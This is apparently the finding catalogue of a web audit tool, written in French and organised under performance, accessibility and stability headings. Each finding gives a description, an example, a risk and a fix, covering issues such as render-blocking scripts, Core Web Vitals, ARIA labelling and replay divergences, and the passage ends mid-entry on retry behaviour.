Un grand nombre de variables CSS sont déclarées sur :root sans qu'aucune règle @property ne leur donne un type ni ne coupe leur héritage. Par défaut, chacune hérite sur tout l'arbre du document : la modifier oblige le moteur à reconsidérer chaque élément, même ceux qui ne l'utilisent pas.

Example
:root { --sidebar-width: 280px; --card-radius: 8px; /* … 30 variables … */ } sans une seule règle @property.
Risk
Chaque mutation de variable recalcule potentiellement tout le document.
Fix
Typer les variables qui n’ont pas besoin d’hériter avec @property (inherits: false), et scoper les variables spécifiques à un composant au plus près de son usage plutôt que sur :root.
L’en-tête de la page n’est pas rangé dans le bon ordre <head>

Un script bloquant apparaît avant le CSS dans le <head>. Le navigateur doit attendre le script avant de commencer à parser le CSS : premier rendu retardé.

Example
<script src='analytics.js'> placé avant <link rel='stylesheet' href='app.css'> → CSS bloqué.
Risk
FCP (First Contentful Paint) dégradé de plusieurs centaines de ms.
Fix
Ranger le <head> selon l'ordre canonique : charset → viewport → title → preconnect → CSS → JS différé.
L’image principale n’est pas chargée en priorité fetchpriority

L'image responsable du Largest Contentful Paint (LCP) n'a pas l'attribut fetchpriority="high". Le navigateur la priorise comme une image lambda, alors qu'elle conditionne le ressenti de chargement de la page.

Example
Sur une page produit, l'image principale du produit charge après les bannières de l'en-tête car le navigateur ne sait pas qu'elle est la plus importante : l'utilisateur voit un cadre vide pendant 1 à 2 secondes.
Risk
LCP dégradé de 500 ms à 1500 ms, score Core Web Vitals en chute.
Fix
Ajouter fetchpriority="high" sur l'image LCP (et seulement celle-ci) pour signaler sa priorité au navigateur.
La page contient beaucoup trop d’éléments > 3000 nœuds

La page contient plus de 3000 nœuds DOM : seuil critique. Au-delà, le navigateur peine sur tous les recalculs (scroll, hover, keydown).

Example
Tableau de 1000 lignes × 10 colonnes rendu d'un coup.
Risk
Scroll saccadé, frappe au clavier laggy.
Fix
Virtualiser les longues listes (tanstack-virtual, react-window) ou paginer.
La page contient trop d’éléments nœuds

La page contient un nombre excessif de nœuds DOM (> 1500). Chaque interaction coûte plus cher en reflow / repaint.

Example
Liste de 5000 items sans virtualisation → 30 000 nœuds DOM, scroll qui rame.
Risk
Scroll saccadé, frappe au clavier laggy.
Fix
Mettre en place de la virtualisation (react-virtual, tanstack-virtual) ou de la pagination.
La page dépasse ce que le serveur peut envoyer en un seul aller-retour fenêtre de congestion initiale TCP

Le document (styles et scripts insérés dans la page compris) est plus lourd que ce que la connexion peut transporter dès son premier envoi. L’affichage doit attendre un second aller-retour réseau avant même de commencer.

Example
Une page dont tous les styles sont insérés en ligne, sans feuille externe mise en cache.
Risk
Le premier affichage attend un aller-retour réseau de plus, sur chaque visite sans cache.
Fix
Réduire ce que la page insère en ligne, renvoyer le reste comme fichiers séparés et mis en cache.
La page est envoyée sans compression gzip / brotli

La réponse HTML est servie sans compression (ni gzip, ni brotli). Le navigateur télécharge 3 à 5 fois plus d'octets que nécessaire.

Example
Un HTML de 120 Ko servi tel quel au lieu de ~25 Ko en brotli.
Risk
TTFB perçu dégradé, surtout en mobile.
Fix
Activer gzip/brotli côté Nginx/CDN pour les types texte (text/html, css, js).
La page peut être servie obsolète sans être revérifiée Cache-Control sans revalidation

Le document HTML est mis en cache avec une durée de vie positive et sans consigne de revalidation. Un intermédiaire ou le navigateur peut alors servir une version obsolète.

Example
Cache-Control: max-age=3600 sur le document HTML lui-même.
Risk
Une personne peut voir une version de l’application déjà remplacée, sans le savoir.
Fix
Servir le document HTML avec no-cache (ou une revalidation courte), jamais avec un long max-age seul.
La page réécrit son propre contenu pendant qu’elle se charge document.write

Le code utilise document.write après le chargement initial. Cela bloque le rendu et casse le parsing HTML asynchrone du navigateur.

Example
Une lib publicitaire ancienne (Adsense legacy) appelle document.write → blocage de 200-500 ms.
Risk
TTFB et LCP dégradés de plusieurs centaines de ms.
Fix
Remplacer document.write par document.createElement + appendChild ou supprimer la lib.
La page reste sourde aux clics pendant qu’elle se charge Total Blocking Time (TBT)

Le Total Blocking Time (temps de blocage du thread principal par de longues tâches JS >50ms) est élevé. Pendant ce temps, la page ignore les clics et les saisies.

Example
Un gros bundle JS parse/exécute 800ms au chargement → clics ignorés, page perçue comme figée.
Risk
Page non réactive (INP dégradé).
Fix
Découper le JS (code-splitting), différer/paresser le non-critique, alléger l’hydratation.
La structure de la page est trop profonde profondeur > 32

L'arbre DOM dépasse 32 niveaux d'imbrication. Style recalc et layout coûtent plus cher, mémoire en hausse.

Example
Composants imbriqués sans flatten (10 niveaux de wrappers React) → arbre à 50+ niveaux.
Risk
Performance dégradée sur appareils faibles.
Fix
Aplatir les composants wrappers inutiles, utiliser fragments React.
Le code de l’application est trop lourd à télécharger bundle JS

Le total JS transféré dépasse le seuil recommandé (> 350 KB gzipped). Téléchargement, parsing et exécution longs.

Example
Bundle webpack à 1.5 MB sans code splitting → 4 s d'attente sur 3G.
Risk
LCP et TTI dégradés, surtout sur mobile.
Fix
Activer code-splitting par route, tree-shaking strict, remplacer les libs lourdes.
Le contenu bouge à l’écran pendant le chargement Cumulative Layout Shift (CLS)

La mesure de ce qui se déplace visuellement pendant le chargement dépasse le seuil retenu. Un clic ou un appui peut atterrir sur le mauvais élément parce que la page a bougé entre-temps.

Example
Une image sans largeur ni hauteur déclarées pousse le texte vers le bas une fois chargée.
Risk
Clic sur le mauvais élément (ex. bouton qui a bougé).
Fix
Réserver l’espace des images et blocs insérés dynamiquement (dimensions déclarées, squelettes).
Le contenu bouge pendant le chargement Cumulative Layout Shift (CLS)

Des éléments majeurs (header, images, polices) déplacent le contenu après le premier rendu. CLS dégradé, frustration utilisateur.

Example
Police custom qui se charge après FCP → tout le texte saute (FOUT).
Risk
CLS > 0.1 = Core Web Vitals fail → SEO impacté.
Fix
Réserver l'espace via width/height ou aspect-ratio, et utiliser font-display: optional ou font-display: swap avec préchargement.
Le contenu principal met trop de temps à s’afficher Largest Contentful Paint (LCP)

Le temps avant que le plus grand élément visible de la page (image, titre, bloc de texte) ne s’affiche dépasse le seuil retenu. C’est le moment où la personne perçoit que « la page est là ».

Example
Une image d’en-tête non optimisée ou chargée tardivement retarde l’affichage du contenu principal.
Risk
Impression de lenteur, abandon avant que le contenu n’apparaisse.
Fix
Précharger et prioriser la ressource du plus grand élément, réduire le rendu bloquant en amont.
Le nombre d’éléments de la page grossit à chaque visite croissance du DOM entre rechargements

Rechargée plusieurs fois de suite, la page affiche à chaque fois davantage d’éléments, de façon soutenue. C’est le signe d’un état conservé (stockage local, cache) qui s’accumule sans limite plutôt que d’une fuite mémoire confirmée : seul un instantané du tas du navigateur permettrait de trancher, ce que cet audit ne prend pas depuis l’extérieur.

Example
Un journal d’activité mis en cache dans le stockage local et rejoué intégralement à chaque visite, sans jamais être purgé.
Risk
Ralentissement progressif de la page à mesure que le stockage grossit.
Fix
Plafonner ou purger périodiquement l’état conservé côté navigateur ; confirmer une éventuelle fuite mémoire par un instantané du tas.
Le retour arrière recharge la page au lieu de la restaurer cache de navigation (back/forward cache)

Un clic sur « précédent » recharge la page depuis le réseau plutôt que de la restaurer depuis le cache de navigation du navigateur. L’écran précédent réapparaît plus lentement, et perd l’état qu’il avait.

Example
Un gestionnaire unload qui empêche la mise en cache de la page par le navigateur.
Risk
Le retour arrière est plus lent qu’il ne le devrait, et l’état de l’écran précédent est perdu.
Fix
Éviter unload, préférer pagehide, et ne pas exclure la page du cache de navigation sans raison.
Le serveur met trop de temps à répondre Time To First Byte (TTFB)

Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil retenu. Tout le reste du rendu part avec ce retard.

Example
Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
Risk
Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
Fix
Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le serveur met trop de temps à répondre, au regard du mandat Time To First Byte (TTFB), seuil de production

Le temps entre la demande de la page et le premier octet de la réponse du serveur dépasse le seuil de production retenu par le mandat. Tout le reste du rendu part avec ce retard.

Example
Une page rendue côté serveur qui interroge plusieurs services avant de répondre.
Risk
Chaque écran hérite du retard, quelle que soit la rapidité du navigateur ensuite.
Fix
Mettre en cache les réponses côté serveur/CDN, réduire le travail fait avant le premier octet.
Le texte reste invisible en attendant sa police FOIT

Une police custom est chargée sans font-display. Le texte reste invisible (Flash Of Invisible Text) pendant 1-3s.

Example
@font-face { font-family: 'Inter'; src: url(...); } sans font-display: swap.
Risk
Utilisateur voit une page sans texte → impression de page cassée.
Fix
Ajouter font-display: swap ou optional dans chaque @font-face.
Les styles de l’application sont trop lourds à télécharger bundle CSS

Le CSS total dépasse le seuil recommandé (> 100 KB gzipped). Bloquant pour le rendu initial.

Example
Import complet d'un framework CSS (Bootstrap entier) au lieu des seuls composants utilisés.
Risk
First Paint retardé, LCP dégradé.
Fix
Activer PurgeCSS / tailwind JIT, ne charger que les feuilles nécessaires par route.
Les styles nécessaires au premier affichage sont dispersés CSS critique

Le CSS critique pour le rendu initial est dispersé entre plusieurs fichiers/origines. Le navigateur multiplie les requêtes série avant de pouvoir peindre.

Example
Page qui charge app.css, theme.css, vendor.css en série depuis trois domaines différents.
Risk
FCP retardé par les requêtes CSS multiples.
Fix
Concaténer/inliner le critical CSS, défer le reste avec media='print' onload=....
Plusieurs blocs de calcul interrompent l’interaction au chargement Long tasks (> 50ms)

Au chargement, plusieurs tâches JavaScript de plus de 50ms occupent le thread principal. Chacune retarde un clic, une saisie ou un défilement tombant pendant qu’elle s’exécute : un symptôme distinct d’un temps de blocage total élevé, qui mesure la durée cumulée plutôt que le nombre d’interruptions.

Example
Plusieurs scripts tiers s’initialisent l’un après l’autre juste après le chargement de la page.
Risk
Clics et saisies ignorés par intermittence pendant les premières secondes.
Fix
Découper les scripts au chargement en morceaux plus courts, différer ce qui n’est pas indispensable au premier rendu.
Trop de fichiers de code chargés séparément

La page charge un nombre excessif de scripts (> 30). Chaque script = requête, parsing, exécution.

Example
50 scripts tiers (analytics, A/B testing, chat, cookies) cumulés sur une page.
Risk
Saturation HTTP/2 connection pool.
Fix
Consolider les chunks (taille cible 50-200 KB par chunk), désactiver les scripts tiers non critiques.
Trop de styles insérés directement dans la page CSS inline

La page contient un volume important de CSS inline (<style>...</style>). Pas de cache cross-page, taille HTML gonflée.

Example
Tailwind compilé inline (50 KB) sur chaque page → pas de cache navigateur.
Risk
Pages plus lourdes à charger (pas de cache).
Fix
Extraire le CSS dans un fichier statique cacheable, ne garder inline que le critical CSS.
Un changement de police visible sans compensation de mise en page font-display: swap sans size-adjust ni ascent-override sur le repli

Une police déclare font-display: swap : le texte s'affiche d'abord dans la police système, puis bascule vers la police définitive dès qu'elle est prête. Sans réglage des métriques de repli (size-adjust, ascent-override), ce basculement décale le texte quand les deux polices n'ont pas les mêmes proportions.

Example
Titre en police système large, puis rétréci d'un coup au chargement d'Inter → le bouton en dessous se déplace.
Risk
Décalage visuel perçu comme un défaut, en particulier sur mobile.
Fix
Ajouter une police de repli dédiée avec size-adjust, ascent-override et descent-override calculés pour correspondre à la police définitive (outil Fontaine ou Font Style Matcher).
Un script extérieur retarde l’affichage script bloquant

Un script externe est chargé sans async ni defer. Il bloque le parser HTML jusqu'à téléchargement + exécution.

Example
<script src='https://cdn.tiers.com/widget.js'> en haut de page → blocage de plusieurs centaines de ms.
Risk
LCP et FCP dégradés.
Fix
Ajouter defer (ou async si l'ordre n'importe pas) sur les scripts non critiques.
Un script inséré dans la page retarde l’affichage script inline bloquant

Un script inline (souvent volumineux) bloque le parsing HTML jusqu'à son exécution.

Example
Un bootstrap JS de 50 KB inline dans le <head> → blocage rendu jusqu'à exécution complète.
Risk
LCP dégradé, First Paint retardé.
Fix
Sortir le script inline dans un fichier externe avec defer, ou minimiser strictement à l'essentiel.
Un script non essentiel placé en tête de page <head>

Variante alternative de pf02-l1-c2 quand le script inline est volumineux ou non critique. Bloque le rendu pour rien.

Example
Polyfill inline de 30 KB pour un cas marginal.
Risk
LCP dégradé, First Paint retardé.
Fix
Sortir le script dans un fichier externe différé ou supprimer si non critique.
Une animation qui force un recalcul de la mise en page à chaque image propriété de layout animée (largeur, hauteur, marge, position) plutôt que transform ou opacity

Une animation ou une transition porte sur une propriété comme la largeur, la hauteur, une marge ou une position : le navigateur doit recalculer la mise en page à chaque image plutôt que de déléguer le travail au processeur graphique, ce qui coûte largement plus cher qu'une transformation ou un changement d'opacité.

Example
.panel { width: 0; transition: width 300ms; } .panel.open { width: 320px; } pour ouvrir un panneau.
Risk
Animation saccadée, en particulier sur un appareil peu puissant.
Fix
Remplacer la propriété animée par un transform ou une opacity équivalents (translateX/scale au lieu de width/left).
Une feuille de style extérieure retarde l’affichage CSS bloquant

Un fichier <link rel='stylesheet'> externe est synchrone : le rendu est entièrement bloqué jusqu'à téléchargement et parsing du CSS.

Example
<link rel='stylesheet' href='https://cdn.tiers.com/style.css'> non critique.
Risk
Si le tiers est lent/down, la page reste blanche.
Fix
Charger le CSS non critique avec media='print' onload="this.media='all'" ou via JS.
Une grande page sans frontière de rendu déclarée aucune propriété contain ni content-visibility, page de plus de 1500 éléments

Sur une page riche en éléments, aucune règle ne délimite de frontière de rendu (contain ou content-visibility) : un changement dans une zone de la page peut obliger le moteur à reconsidérer l'ensemble du document faute de limite déclarée.

Example
Liste de 300 cartes sans content-visibility: auto : chacune est calculée même hors de l’écran visible.
Risk
Temps de rendu initial plus long que nécessaire.
Fix
Ajouter content-visibility: auto (avec contain-intrinsic-size) sur les listes longues, et contain: layout ou contain: content sur les composants isolés.
Une image dont l’adresse est invalide src

Une balise <img> a un src manquant, vide ou invalide. Le navigateur ne peut afficher aucune image.

Example
<img src=""> généré par un template sans donnée.
Risk
Image absente à l’affichage.
Fix
Renseigner un src valide ou ne pas rendre l’élément <img> tant que la source n’est pas disponible.
Une police qui peut cacher le texte le temps de se charger font-display

Une @font-face ne déclare pas la directive font-display. Par défaut, le navigateur masque le texte (FOIT : Flash Of Invisible Text) pendant tout le chargement de la police : l'utilisateur voit une page sans aucun texte visible pendant 1 à 3 secondes.

Example
Page d'accueil utilisant Inter en webfont sans font-display → l'utilisateur voit la mise en page (images, boutons) mais zéro texte pendant 2 s sur 3G.
Risk
Page perçue comme cassée pendant 1-3 secondes (rebond élevé).
Fix
Ajouter font-display: swap (ou optional pour zéro CLS) dans chaque @font-face.
Une police téléchargée en entier alors qu’un sous-ensemble suffirait WOFF2 de plus de 50 Ko sans unicode-range déclaré

Un fichier de police dépasse 50 Ko sans qu'aucun sous-ensemble de caractères (unicode-range) ne soit déclaré : le navigateur télécharge l'intégralité des glyphes de la police, y compris ceux qu'aucune page du site n'affiche jamais.

Example
Police variable complète (95 Ko) chargée sans unicode-range, alors que le site n’affiche que du texte latin.
Risk
Bande passante gaspillée à chaque première visite, surtout sur mobile.
Fix
Générer des sous-ensembles avec un outil de subsetting (glyphhanger, pyftsubset) et déclarer unicode-range par sous-ensemble dans chaque @font-face.

Accessibility

31

What lets everyone read and operate the page, assistive technology included.

Des zones à toucher trop petites pour un doigt 24×24 px

Des boutons ou liens font moins de 24×24 px (recommandation WCAG 2.5.5/2.5.8). Difficiles à taper sur mobile.

Example
Petits icônes 16×16 dans une barre d'outils mobile → l'utilisateur tape à côté 1 fois sur 3.
Risk
Taux d'erreur élevé sur mobile → abandon.
Fix
Cibles tactiles >= 44×44 px (Apple HIG) ou >= 24×24 px avec espace autour (WCAG 2.5.8).
Deux éléments portent le même identifiant id

Plusieurs éléments ont le même id dans la page. Comportement indéterminé pour getElementById, aria-labelledby, ancres, sélecteurs CSS.

Example
Deux <div id='main'> → un seul est ciblé par #main { ... }.
Risk
Bugs subtils côté JS et CSS, difficiles à diagnostiquer.
Fix
Garantir l'unicité des IDs (lint côté build).
Du contenu hors de toute zone repérable par les aides techniques landmark

Des contenus de la page ne sont dans aucun landmark (main, nav, header, footer, etc.). Les lecteurs d'écran ne peuvent pas structurer la page.

Example
Du texte directement sous <body> sans <main> autour → annoncé hors structure.
Risk
Structure de page illisible au lecteur d'écran.
Fix
Envelopper chaque zone fonctionnelle dans le landmark adéquat (main, nav, aside, etc.).
Du texte trop peu contrasté pour être lu par tous

Le ratio de contraste entre le texte et son fond est inférieur au seuil WCAG AA (4.5:1 pour texte normal). Texte illisible pour malvoyants, fatigant pour tous.

Example
Libellé gris clair (#999) sur fond blanc → utilisateurs au-dessus de 50 ans ont du mal à lire.
Risk
Exclusion des utilisateurs malvoyants (~ 8 % de la population adulte).
Fix
Viser un ratio >= 4.5:1 (texte normal) ou 3:1 (texte ≥ 18 pt bold). Tester avec un outil contrast checker.
L’ordre de tabulation est forcé à la main tabindex > 0

Un élément utilise tabindex='1' ou plus, ce qui force un ordre de focus 'manuel' fragile et incohérent avec le flux DOM.

Example
Un formulaire avec tabindex='1' à tabindex='10' → ajouter un champ casse tout.
Risk
Ordre de focus imprévisible, expérience clavier cassée.
Fix
Utiliser uniquement tabindex='0' (focusable, ordre DOM) ou tabindex='-1' (programmatique).
La langue déclarée par la page n’existe pas lang

L'attribut lang est présent mais avec une valeur non conforme à BCP 47 (fr_FR au lieu de fr-FR, francais au lieu de fr).

Example
<html lang='francais'> → ignoré par les lecteurs d'écran.
Risk
Comportement assistif imprévisible (mauvaise prononciation).
Fix
Utiliser un code BCP 47 valide : fr, fr-FR, en-US, etc.
La page déborde de l’écran sur mobile

Sur viewport mobile, le contenu déborde horizontalement. L'utilisateur doit scroller latéralement pour lire : anti-pattern majeur.

Example
Un tableau pas responsive force un scroll horizontal au-delà du viewport.
Risk
Lecture quasi-impossible sur mobile, abandon massif.
Fix
Utiliser max-width: 100% sur les médias et overflow-x: auto sur les tableaux.
La page empêche d’agrandir le texte meta viewport user-scalable

La balise <meta name='viewport'> désactive le zoom utilisateur (user-scalable=no ou maximum-scale=1). Exclut les malvoyants qui ont besoin de zoomer.

Example
<meta name='viewport' content='width=device-width, user-scalable=no'> → impossible de zoomer sur mobile.
Risk
Exclusion des utilisateurs malvoyants (besoin de zoomer jusqu'à 200%).
Fix
Retirer user-scalable=no et maximum-scale=1 du viewport.
La page ne déclare pas sa langue lang

L'élément racine <html> ne porte pas d'attribut lang renseigné. La synthèse vocale choisit alors la langue par défaut du système et lit la page avec la mauvaise prononciation. Constat commun aux auditors seo et accessibility.

Example
<html> sans lang sur une app française → VoiceOver lit le français avec une voix anglaise, incompréhensible.
Risk
Contenu vocalisé inintelligible pour les utilisateurs de lecteur d'écran.
Fix
Déclarer <html lang="fr"> (code BCP 47 correspondant à la langue réelle servie).
La page ne délimite pas sa zone de contenu principal <main>

La page n'expose ni <main> ni [role=main]. Le raccourci « aller au contenu principal » des lecteurs d'écran n'a aucune cible : l'utilisateur retraverse l'en-tête et le menu à chaque navigation.

Example
Mise en page SPA où tout est empilé dans des <div> → aucun repère structurel annoncé.
Risk
Navigation au lecteur d'écran lente et fatigante sur toutes les pages du layout.
Fix
Envelopper le contenu propre à la page dans un unique <main> (et laisser en-tête/menu dans <header>/<nav>).
La page reste utilisable derrière la fenêtre ouverte aria-modal / inert

La page sous la fenêtre n'est ni inert ni masquée par aria-hidden : ses liens et ses boutons restent dans l'ordre de tabulation alors qu'ils sont visuellement recouverts.

Example
Fenêtre ouverte, on tabule et on atteint les boutons de la liste derrière, qu'on peut activer sans les voir.
Risk
Activation d'une commande invisible, donc effet inattendu.
Fix
Poser inert sur le conteneur de la page pendant que la fenêtre est ouverte, et le retirer à la fermeture.
Le clavier n’entre pas dans la fenêtre qui s’ouvre focus management

À l'ouverture, le focus reste où il était, derrière la fenêtre. La première tabulation repart donc dans la page masquée.

Example
On ouvre une fiche, on appuie sur Tab, et le focus part sur un lien du menu latéral recouvert par la fenêtre.
Risk
Au clavier, on agit sur des éléments qu'on ne voit pas.
Fix
Déplacer le focus sur la fenêtre ou sur son premier élément focalisable à l'ouverture, et le rendre au déclencheur à la fermeture.
Les titres ne suivent pas un ordre logique h1 → h2 → h3

Les titres (h1, h2...) sautent un niveau ou redémarrent à zéro. La structure du document est incohérente.

Example
Page avec h1 puis directement h4 → le lecteur d'écran annonce une hiérarchie cassée.
Risk
Navigation par titres (raccourci H des lecteurs d'écran) cassée.
Fix
Un seul h1 par page, puis hiérarchie continue (h2 → h3 → h4) sans saut.
Pas de raccourci pour sauter directement au contenu skip link

La page ne propose pas de mécanisme pour sauter la navigation et atteindre le contenu principal. Utilisateurs clavier obligés de tabuler dans tout le menu à chaque page.

Example
Sur un site à 30 liens dans le header, l'utilisateur clavier tabule 30 fois avant d'arriver au contenu.
Risk
Navigation clavier épuisante → abandon utilisateur.
Fix
Ajouter un lien skip-link visible au focus en début de page (<a href="#main">Aller au contenu</a>).
Un attribut d’accessibilité qui ne convient pas à cet élément ARIA

Un attribut ARIA est utilisé sur un élément qui ne le permet pas (ex. aria-checked sur un <div> sans role='checkbox'). Annoncé ou ignoré de façon imprévisible.

Example
<div aria-checked='true'>...</div> sans role='checkbox' → ignoré.
Risk
Comportement assistif imprévisible, accessibilité non garantie.
Fix
Vérifier le rôle ARIA et n'utiliser que les attributs autorisés (WAI-ARIA spec).
Un bouton sans texte pour les aides techniques

Un bouton n'a pas de label exploitable par un lecteur d'écran. L'utilisateur ne sait pas ce qu'il déclenche.

Example
<button><svg>...</svg></button> → annoncé "bouton" sans plus.
Risk
Lecteurs d'écran inutilisables → exclusion complète des malvoyants.
Fix
Ajouter un texte visible ou aria-label descriptif sur le bouton.
Un cadre incrusté sans titre iframe

Une <iframe> n'a pas d'attribut title. Les lecteurs d'écran annoncent 'iframe' sans contexte, l'utilisateur ne sait pas quoi y trouver.

Example
<iframe src='https://youtube.com/...'> sans title → annoncé 'iframe' tout court.
Risk
Contenu embedded inaccessible aux malvoyants.
Fix
Ajouter <iframe title='Vidéo de présentation produit'> (court mais descriptif).
Un champ de saisie sans intitulé rattaché <label>

Un <input>, <select> ou <textarea> n'a ni <label for>, ni <label> englobant, ni aria-label, ni aria-labelledby. Le champ est annoncé sans nom et le navigateur ne peut plus proposer l'autofill.

Example
Champ de recherche avec seulement un placeholder → annoncé « zone de texte » sans contexte, et le placeholder disparaît dès la saisie.
Risk
Formulaire inutilisable au lecteur d'écran : le tunnel de conversion est cassé pour ces utilisateurs.
Fix
Associer un <label for="id-du-champ"> visible, ou à défaut un aria-label explicite ; le placeholder ne remplace jamais un libellé.
Un composant déclaré sans les éléments qu’il doit contenir aria-required-children

Un conteneur ARIA (role=listbox, role=menu, etc.) n'a pas les enfants ARIA attendus. La sémantique est cassée pour les lecteurs d'écran.

Example
<div role='listbox'> sans <div role='option'> à l'intérieur → liste non annoncée.
Risk
Composants UI sophistiqués (tabs, listbox) totalement inutilisables.
Fix
Respecter le contrat ARIA des rôles utilisés (cf. WAI-ARIA Authoring Practices).
Un élément cliquable placé dans un autre élément cliquable

Un bouton dans un bouton, un lien dans un lien : le comportement clavier et lecteur d'écran devient indéterminé. Tab order ambigu, double activation possible.

Example
<button><a href='...'>Voir</a></button> → quoi se passe-t-il à Enter ?
Risk
Actions involontaires déclenchées au clavier ou au lecteur d'écran.
Fix
Choisir un seul élément interactif par zone, et utiliser CSS pour le visuel restant.
Un élément qui navigue sans être un vrai lien <a href>

Un élément change l'URL au clic (ligne de liste, carte, bouton) mais n'est pas un <a href>. Le lien natif porte un contrat que le handler JS ne reproduit pas : focus et activation clavier, ouverture dans un nouvel onglet, copie de l'adresse, rôle annoncé aux lecteurs d'écran.

Example
Une ligne de tableau <div onClick={() => navigate("/leads/42")}> qui ouvre la fiche : inaccessible au clavier, invisible pour un crawler.
Risk
Utilisateurs clavier et lecteurs d'écran ne peuvent pas atteindre ou comprendre la destination.
Fix
Rendre l’élément avec un vrai <a href="…"> (stylé librement) ; réserver <button> aux actions qui ne changent pas l’URL.
Un lien dont le texte est une adresse brute

Le texte visible d'un lien est une URL brute. Un lecteur d'écran l'épelle caractère par caractère et le lien n'apporte aucun contexte sémantique.

Example
https://tordu-jardin.fr/blog/... comme texte de lien → épelé en entier à l'oral.
Risk
Accessibilité dégradée.
Fix
Remplacer l'URL par un libellé humain décrivant la cible.
Un lien dont le texte ne dit pas où il mène « cliquez ici »

Un lien dont le texte est générique (« cliquez ici », « en savoir plus ») n'a aucun sens hors contexte. Les lecteurs d'écran et les moteurs ne peuvent pas en déduire la destination.

Example
Une liste de « En savoir plus » identiques est inutilisable au lecteur d'écran (navigation par liens).
Risk
Accessibilité dégradée (WCAG 2.4.4).
Fix
Rédiger un texte de lien explicite décrivant la destination (« Voir le projet Granit Golem »).
Un lien sans texte pour les aides techniques

Un <a href> n'expose aucun nom : pas de texte, pas d'aria-label, pas de title, et son éventuel aria-labelledby ne pointe vers aucun texte. Le lien est annoncé « lien » sans destination.

Example
<a href="/profil"><svg>…</svg></a> → annoncé « lien » tout court.
Risk
Navigation impraticable au lecteur d'écran : impossible de choisir une destination.
Fix
Ajouter un texte visible dans le lien, ou un aria-label décrivant la destination (« Voir mon profil »).
Un problème d’accessibilité

Un critère d’accessibilité (WCAG) n’est pas respecté : contraste, alternative textuelle, rôle ARIA, navigation clavier… L’usage devient difficile ou impossible pour une partie des utilisateurs.

Example
Un contraste texte/fond insuffisant, illisible pour un daltonien ou en plein soleil.
Risk
Exclusion d’utilisateurs en situation de handicap.
Fix
Corriger le critère signalé (contraste, alt, label, focus visible) et re-tester avec un lecteur d’écran et axe-core.
Un rôle d’accessibilité qui n’existe pas ARIA

Un attribut role='...' utilise une valeur inconnue ou inappropriée. Le lecteur d'écran l'ignore ou annonce du bruit.

Example
<div role='buton'> (typo) → rôle inexistant, l'élément n'est pas annoncé comme bouton.
Risk
Sémantique cassée, UX assistée dégradée.
Fix
Utiliser uniquement les rôles ARIA standards (WAI-ARIA).
Une fenêtre qui ne se présente pas comme telle aux aides techniques role="dialog"

Une surcouche recouvre la page et se comporte comme une fenêtre modale, mais ne porte ni role="dialog" ni aria-modal="true". Pour le navigateur et les technologies d'assistance, c'est un bloc de contenu comme un autre au milieu de la page.

Example
Le détail d'une fiche s'ouvre dans un <div class="fixed inset-0 z-50"> : à l'écran c'est une fenêtre, dans l'arbre d'accessibilité c'est un paragraphe de plus.
Risk
L'utilisateur non-voyant ne sait pas qu'un changement de contexte a eu lieu.
Fix
Porter role="dialog" et aria-modal="true" sur le conteneur de la fenêtre, ou utiliser l'élément natif <dialog> avec showModal().
Une fenêtre sans nom pour les aides techniques aria-label / aria-labelledby

La fenêtre s'annonce comme un dialogue et rien de plus : aucun aria-label, aucun aria-labelledby vers son titre.

Example
La fenêtre affiche un titre visible mais ne le relie pas à son conteneur par aria-labelledby.
Risk
L'utilisateur doit explorer tout le contenu pour deviner de quoi la fenêtre parle.
Fix
Relier le conteneur à son titre visible avec aria-labelledby, ou lui donner un aria-label quand il n'y a pas de titre.
Une image sans description de remplacement alt

Une balise <img> ne déclare aucun attribut alt. Le lecteur d'écran annonce alors le nom du fichier, ou rien. Attention : alt="" est correct et volontaire pour une image purement décorative, ici l'attribut est totalement absent.

Example
<img src="graphique-ca-2026.png"> → annoncé « image graphique tiret c a tiret 2026 point p n g ».
Risk
Information portée par l'image totalement perdue pour les non-voyants.
Fix
Ajouter alt="description courte de l'information portée", ou alt="" si l'image est purement décorative.
Une liste déroulante sans intitulé

Un menu déroulant (<select>) n'expose aucun nom accessible : ni <label> associé, ni aria-label, ni aria-labelledby. Un lecteur d'écran annonce « liste déroulante » sans dire de quoi il s'agit.

Example
Un filtre de tableau rendu comme un <select> stylé, dont le seul indice visuel est un texte placé à côté sans lien programmatique.
Risk
Les personnes utilisant un lecteur d'écran ne peuvent pas savoir ce que le menu contrôle.
Fix
Associer un <label for="…">, ou poser un aria-label décrivant ce que la liste filtre.
Une zone qui défile mais que le clavier ne peut pas atteindre

Une zone qui défile ne peut pas recevoir le focus clavier. Une personne qui n'utilise pas la souris ne peut donc pas faire défiler son contenu, et ce qui dépasse lui reste inaccessible.

Example
Un tableau large dans un conteneur overflow: auto sans tabindex="0".
Risk
Du contenu devient littéralement inatteignable sans souris.
Fix
Ajouter tabindex="0" sur le conteneur défilant, et un nom accessible décrivant son contenu.

Stability

26

What holds through an outage, a reload or a deep link.

Au rejeu, l’effet attendu n’a pas eu lieu

Le modèle du parcours attend une écriture (requête POST/PUT/PATCH) à cette étape ; le rejeu ne l’a pas observée. Soit l’action n’a rien déclenché, soit elle a échoué silencieusement.

Example
Le parcours « Inviter un membre » attendait POST /api/invitations après le clic sur Envoyer ; aucune requête de ce type n’a été vue.
Risk
L'action que l'utilisateur croit avoir effectuée n'a en réalité aucun effet côté serveur.
Fix
Rejouer le parcours manuellement pour confirmer, puis vérifier le handler et le réseau à cette étape.
Au rejeu, un appel imprévu s’est glissé

Le rejeu a observé une requête que le modèle n'attendait pas à cette étape, un effet de bord qui n'existait pas quand le parcours a été appris.

Example
Un appel GET /api/analytics supplémentaire apparaît là où seule la navigation était attendue.
Risk
Effet de bord non maîtrisé (tracking ajouté, appel redondant, fuite de requête).
Fix
Vérifier si la requête est un ajout légitime (à documenter) ou un effet de bord à supprimer.
Au rejeu, une étape a mené ailleurs que prévu

Le modèle attend d’atterrir sur un état donné (route ou sous-état) après cette étape ; le rejeu a atterri ailleurs.

Example
Après soumission du formulaire d’invitation, le modèle attend /team ; le rejeu montre /error.
Risk
Le parcours ne mène plus là où l'utilisateur s'y attend, casse un enchaînement métier.
Fix
Comparer manuellement la trace attendue et observée pour situer la divergence côté front ou back.
Aucune nouvelle tentative après un échec maintenu retry

Un appel de données a été maintenu en échec pendant une fenêtre d'observation et l'application n'a plus jamais retenté cet appel : la première réponse en erreur a été définitive.

Example
Un fetch sans bloc catch de nouvelle tentative : l'échec est traité une fois et jamais revisité.
Risk
Une panne transitoire de quelques secondes prive durablement la personne de la donnée.
Fix
